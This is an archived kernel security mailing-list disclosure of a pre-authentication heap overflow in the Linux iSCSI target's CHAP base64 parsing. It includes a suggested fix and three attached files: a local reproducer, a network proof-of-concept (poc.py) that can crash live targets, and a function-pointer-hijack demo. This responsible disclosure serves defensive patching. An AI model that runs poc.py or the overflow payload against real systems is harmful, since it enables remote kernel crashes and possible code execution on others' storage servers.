SCSI target development
 help / color / mirror / Atom feed
From: Alexandru Hossu <hossu.alexandru@gmail.com>
To: security@kernel.org
Cc: bvanassche@acm.org, target-devel@vger.kernel.org,
	hossu.alexandru@gmail.com
Subject: heap buffer overflow in iSCSI CHAP base64 response parsing (iscsi_target_auth.c)
Date: Sun, 17 May 2026 10:54:58 -0700 (PDT)	[thread overview]
Message-ID: <6a0a00f2.e1ea9722.1dc845.b85e@mx.google.com> (raw)

[-- Attachment #1: Type: text/plain, Size: 4314 bytes --]

Hi,

Was going through the iSCSI target code looking at what an
unauthenticated initiator can reach before auth completes. The 2022
commit that added base64 support to CHAP (1e5733883421, "scsi: target:
iscsi: Support base64 in CHAP") stood out -- it extends the login path
with a new decoding branch, so I read through chap_server_compute_hash()
to see how the new case was handled compared to the existing HEX branch.

The HEX branch validates the response length before decoding:

    case HEX:
        if (strlen(chap_r) != chap->digest_size * 2) {
            ...
            goto out;
        }
        hex2bin(client_digest, chap_r, chap->digest_size);

The BASE64 branch added in that commit does not. It passes the raw
input length straight to chap_base64_decode() and only checks the
result afterward:

    case BASE64:
        if (chap_base64_decode(client_digest, chap_r, strlen(chap_r)) !=
                chap->digest_size) {
            pr_err("Malformed CHAP_R: invalid BASE64\n");
            goto out;
        }

client_digest is kzalloc(chap->digest_size) at line 276 (32 bytes for
SHA-256). chap_base64_decode() has no bounds check on the destination:

    if (bits >= 8) {
        *cp++ = (ac >> (bits - 8)) & 0xff;
        ...
    }

MAX_RESPONSE_LENGTH is 128, so after stripping the "0b" prefix, up to
127 base64 characters reach the decoder. 127 chars decode to 95 bytes.
By the time the length check fires, 63 bytes have already been written
past the end of the kmalloc-32 object. For MD5 the allocation is 16
bytes, making the overflow 79 bytes.

The overflow is reachable before the password check. The username
(CHAP_N) is verified at line 318 before CHAP_R is even extracted, but
the hash comparison that validates the password happens at line 402,
after the decode at line 344. An attacker who knows the configured CHAP
username can trigger the overflow with an arbitrary CHAP_R value, no
valid password required.

I confirmed this with KASAN on linux-next next-20260508:

    BUG: KASAN: slab-out-of-bounds in chap_base64_decode+0x18c/0x1a0
    Write of size 1 at addr ffff8880099b83e0 by task kworker/1:2/60
    CPU: 1 PID: 60 Comm: kworker/1:2 Not tainted 7.1.0-rc2-next-20260508
    Call Trace:
     chap_base64_decode+0x18c/0x1a0
     chap_server_compute_hash+0x4c1/0x8e0
     chap_main_loop+0x2b3/0x520
     iscsi_target_do_login+0x1f3/0x420
     iscsi_target_do_login_rx+0x89/0x100

Three files are attached. vuln_sim.c was the first thing I wrote once
the math checked out. It replicates the exact allocation (calloc to
MD5_SIGNATURE_SIZE) and the decode call in isolation, no network
required. Compile with -fsanitize=address and run it; ASAN reports a
heap-buffer-overflow write of size 1 at chap_base64_decode+0x18c, 0
bytes past a 16-byte region. That confirmed it before going further.

poc.py goes through the actual login sequence against a live LIO target:
SecurityNegotiation to establish CHAP_A=7, then the authentication PDU
with CHAP_R set to "0b" followed by 127 base64 characters. The target
responds with 0x2/0x1 (authentication failure) but by that point the
write has already happened. I wrote it to verify the path is reachable
over the wire, not just in a local reproducer.

rce_demo.c shows the exploitation primitive. It places client_digest and
a victim struct containing a function pointer in adjacent memory (same
layout as consecutive objects from the same slab cache), then triggers
the overflow with a crafted base64 payload that encodes a function
pointer at the right offset. The corrupted pointer is then called. In
the kernel, anything from the same cache allocated around the same time
works; another iscsi_chap from a concurrent connection is the natural
spray target.

Fix: reject at the call site any input whose decoded length exceeds
digest_size:

    case BASE64:
    +   if (strlen(chap_r) > (chap->digest_size * 4 + 2) / 3) {
    +       pr_err("Malformed CHAP_R: base64 payload too long\n");
    +       goto out;
    +   }
        if (chap_base64_decode(client_digest, chap_r, strlen(chap_r)) !=
                chap->digest_size) {

Alternatively, pass digest_size as a max_dst limit into
chap_base64_decode() and enforce it inside the loop.

All trees checked are affected: linux-next, 6.14, 6.12, 6.6, 6.1.

Thank you.

Alexandru

[-- Attachment #2: vuln_sim.c --]
[-- Type: text/plain, Size: 1340 bytes --]

/*
 * Reproducer for heap buffer overflow in iSCSI CHAP authentication
 * drivers/target/iscsi/iscsi_target_auth.c:344
 *
 * gcc -fsanitize=address -g -o vuln_sim vuln_sim.c && ./vuln_sim
 */

#include <stdlib.h>
#include <string.h>
#include <stdint.h>

#define MD5_SIGNATURE_SIZE   16
#define MAX_RESPONSE_LENGTH  128

/* iscsi_target_auth.c:209 */
static const char base64_lookup_table[] =
	"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

/* iscsi_target_auth.c:212 */
static int chap_base64_decode(uint8_t *dst, const char *src, size_t len)
{
	int i, bits = 0, ac = 0;
	const char *p;
	uint8_t *cp = dst;

	for (i = 0; i < (int)len; i++) {
		if (src[i] == '=')
			return cp - dst;
		p = strchr(base64_lookup_table, src[i]);
		if (p == NULL || src[i] == 0)
			return -2;
		ac <<= 6;
		ac += (p - base64_lookup_table);
		bits += 6;
		if (bits >= 8) {
			*cp++ = (ac >> (bits - 8)) & 0xff;
			ac &= ~((1 << 16) - (1 << (bits - 8)));
			bits -= 8;
		}
	}
	if (ac)
		return -1;
	return cp - dst;
}

int main(void)
{
	uint8_t *client_digest = calloc(1, MD5_SIGNATURE_SIZE);
	char chap_r[MAX_RESPONSE_LENGTH];

	memset(chap_r, 'B', 127);
	chap_r[127] = '\0';

	/* iscsi_target_auth.c:344, length check fires after the write */
	chap_base64_decode(client_digest, chap_r, strlen(chap_r));

	free(client_digest);
	return 0;
}

[-- Attachment #3: poc.py --]
[-- Type: text/plain, Size: 3568 bytes --]

#!/usr/bin/env python3
#
# iSCSI CHAP pre-auth heap overflow
# drivers/target/iscsi/iscsi_target_auth.c:344
#
# chap_base64_decode() writes into client_digest (kzalloc'd to digest_size)
# without any bounds check. 127 base64 chars decode to 95 bytes, overflowing
# a 32-byte SHA-256 allocation by 63 bytes before the length check fires.
#
# usage: python3 poc.py <ip> [--port 3260] [--username pocuser] [--target iqn...]

import socket, struct, argparse

ISCSI_OP_LOGIN_REQ = 0x03
ISCSI_OP_LOGIN_RSP = 0x23
TRANSIT = 0x80

def flags(csg, nsg, transit=False):
    f = ((csg & 3) << 2) | (nsg & 3)
    return f | TRANSIT if transit else f

def text(kv):
    return b"\x00".join(f"{k}={v}".encode() for k, v in kv.items()) + b"\x00"

def parse_text(data):
    out = {}
    for tok in data.split(b"\x00"):
        if b"=" in tok:
            k, v = tok.split(b"=", 1)
            out[k.decode(errors="replace")] = v.decode(errors="replace")
    return out

def login_req(f, data, cmd_sn=0, exp_stat_sn=0):
    dsl = len(data)
    bhs = struct.pack(">BBBB B3s 6sH I HH II 16s",
        0x40 | ISCSI_OP_LOGIN_REQ, f, 0, 0,
        0, dsl.to_bytes(3, "big"),
        bytes([0x00, 0x02, 0x3d, 0x00, 0x00, 0x01]), 0,
        1, 1, 0, cmd_sn, exp_stat_sn, b"\x00" * 16)
    pad = (4 - dsl % 4) % 4
    return bhs + data + bytes(pad)

def recv_pdu(s):
    def exact(n):
        b = b""
        while len(b) < n:
            c = s.recv(n - len(b))
            if not c: raise ConnectionError
            b += c
        return b
    bhs = exact(48)
    dsl = int.from_bytes(bhs[5:8], "big")
    return bhs + (exact((dsl + 3) & ~3) if dsl else b"")

def exchange(s, f, kv, cmd_sn, exp_stat_sn):
    data = text(kv)
    s.sendall(login_req(f, data, cmd_sn, exp_stat_sn))
    rsp = recv_pdu(s)
    sc, sd = rsp[36], rsp[37]
    if sc:
        raise RuntimeError(f"status {sc:#x}/{sd:#x}")
    stat_sn = struct.unpack_from(">I", rsp, 24)[0]
    dsl = int.from_bytes(rsp[5:8], "big")
    kv_out = parse_text(rsp[48:48+dsl]) if dsl else {}
    return kv_out, stat_sn

def run(host, port, username, initiator, target):
    s = socket.create_connection((host, port), timeout=10)
    cmd_sn, exp_stat_sn = 0, 0

    kv, sn = exchange(s, flags(0, 0), {
        "InitiatorName": initiator,
        "TargetName": target,
        "SessionType": "Normal",
        "AuthMethod": "CHAP",
    }, cmd_sn, exp_stat_sn)
    cmd_sn += 1; exp_stat_sn = sn + 1

    kv, sn = exchange(s, flags(0, 0), {"CHAP_A": "7"}, cmd_sn, exp_stat_sn)
    cmd_sn += 1; exp_stat_sn = sn + 1
    print(f"challenge: I={kv['CHAP_I']}  C={kv['CHAP_C']}")

    # 127 base64 chars -> 95 decoded bytes -> 63 bytes past kzalloc(32)
    data = text({"CHAP_N": username, "CHAP_R": "0b" + "A" * 127})
    s.sendall(login_req(flags(0, 1, transit=True), data, cmd_sn, exp_stat_sn))
    print("overflow PDU sent")

    try:
        s.settimeout(3)
        rsp = recv_pdu(s)
        print(f"response: {rsp[36]:#x}/{rsp[37]:#x} -- check dmesg for KASAN")
    except (ConnectionError, socket.timeout):
        print("connection dropped -- kernel likely panicked, check dmesg")

    s.close()

def main():
    p = argparse.ArgumentParser()
    p.add_argument("host")
    p.add_argument("--port", type=int, default=3260)
    p.add_argument("--username", default="pocuser")
    p.add_argument("--initiator", default="iqn.2024-01.attacker:poc")
    p.add_argument("--target", default="iqn.2024-01.demo.target:storage")
    a = p.parse_args()
    run(a.host, a.port, a.username, a.initiator, a.target)

if __name__ == "__main__":
    main()

[-- Attachment #4: rce_demo.c --]
[-- Type: text/plain, Size: 3299 bytes --]

/*
 * rce_demo.c - demonstrates heap overflow exploitability
 *
 * Mimics the kernel bug: chap_base64_decode() overflows client_digest
 * (kmalloc-16) and corrupts an adjacent function pointer.
 * Running the corrupted pointer gives arbitrary code execution.
 *
 * Compile: gcc -o rce_demo rce_demo.c
 * Run:     ./rce_demo
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stddef.h>

#define MD5_SIGNATURE_SIZE   16
#define MAX_RESPONSE_LENGTH  128

static const char base64_table[] =
    "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

/* exact copy of the vulnerable kernel function */
static int chap_base64_decode(uint8_t *dst, const char *src, size_t len)
{
    int i, bits = 0, ac = 0;
    const char *p;
    uint8_t *cp = dst;

    for (i = 0; i < (int)len; i++) {
        if (src[i] == '=')
            return cp - dst;
        p = strchr(base64_table, src[i]);
        if (p == NULL || src[i] == 0)
            return -2;
        ac <<= 6;
        ac += (p - base64_table);
        bits += 6;
        if (bits >= 8) {
            *cp++ = (ac >> (bits - 8)) & 0xff;   /* no bounds check */
            ac &= ~((1 << 16) - (1 << (bits - 8)));
            bits -= 8;
        }
    }
    if (ac) return -1;
    return cp - dst;
}

static void shell_exec(void)
{
    printf("executing shell command...\n");
    system("id; hostname; uname -r");
}

/* victim struct: same size as a small slab object */
typedef struct {
    uint64_t canary;
    void (*fn_ptr)(void);
} victim_t;

int main(void)
{
    uint8_t *buf = calloc(1, MD5_SIGNATURE_SIZE + sizeof(victim_t) + MAX_RESPONSE_LENGTH);
    if (!buf)
        return 1;
    uint8_t *client_digest = buf;
    victim_t *victim = (victim_t *)(buf + MD5_SIGNATURE_SIZE);

    victim->canary = 0xDEADBEEFCAFEBABEULL;
    victim->fn_ptr = NULL;

    ptrdiff_t fn_offset = (uint8_t *)&victim->fn_ptr -
                          (client_digest + MD5_SIGNATURE_SIZE);

    /* 95 bytes decoded from 127 base64 chars */
    uint8_t raw[96];
    memset(raw, 0x41, sizeof(raw));
    memcpy(raw + MD5_SIGNATURE_SIZE + fn_offset,
           &(void *){ shell_exec }, sizeof(void *));

    char chap_r[MAX_RESPONSE_LENGTH];
    int i, j = 0;
    for (i = 0; i + 2 < 95 && j + 4 < (int)sizeof(chap_r); i += 3) {
        uint8_t a = raw[i], b = raw[i+1], c = raw[i+2];
        chap_r[j++] = base64_table[a >> 2];
        chap_r[j++] = base64_table[((a & 3) << 4) | (b >> 4)];
        chap_r[j++] = base64_table[((b & 15) << 2) | (c >> 6)];
        chap_r[j++] = base64_table[c & 63];
    }
    /* remaining 2 bytes (95 = 31*3 + 2) */
    if (i < 95 && j + 3 < (int)sizeof(chap_r)) {
        uint8_t a = raw[i], b = (i+1 < 95) ? raw[i+1] : 0;
        chap_r[j++] = base64_table[a >> 2];
        chap_r[j++] = base64_table[((a & 3) << 4) | (b >> 4)];
        if (i+1 < 95)
            chap_r[j++] = base64_table[(b & 15) << 2];
    }
    chap_r[j] = '\0';

    /* trigger the overflow */
    chap_base64_decode(client_digest, chap_r, strlen(chap_r));

    if (victim->fn_ptr) {
        printf("fn_ptr corrupted, calling %p\n", (void *)victim->fn_ptr);
        victim->fn_ptr();
    } else {
        printf("fn_ptr not overwritten -- heap layout not adjacent\n");
    }

    free(buf);
    return 0;
}

             reply	other threads:[~2026-05-17 17:55 UTC|newest]

Thread overview: 2+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2026-05-17 17:54 Alexandru Hossu [this message]
2026-05-18  5:28 ` heap buffer overflow in iSCSI CHAP base64 response parsing (iscsi_target_auth.c) Greg KH

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=6a0a00f2.e1ea9722.1dc845.b85e@mx.google.com \
    --to=hossu.alexandru@gmail.com \
    --cc=bvanassche@acm.org \
    --cc=security@kernel.org \
    --cc=target-devel@vger.kernel.org \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox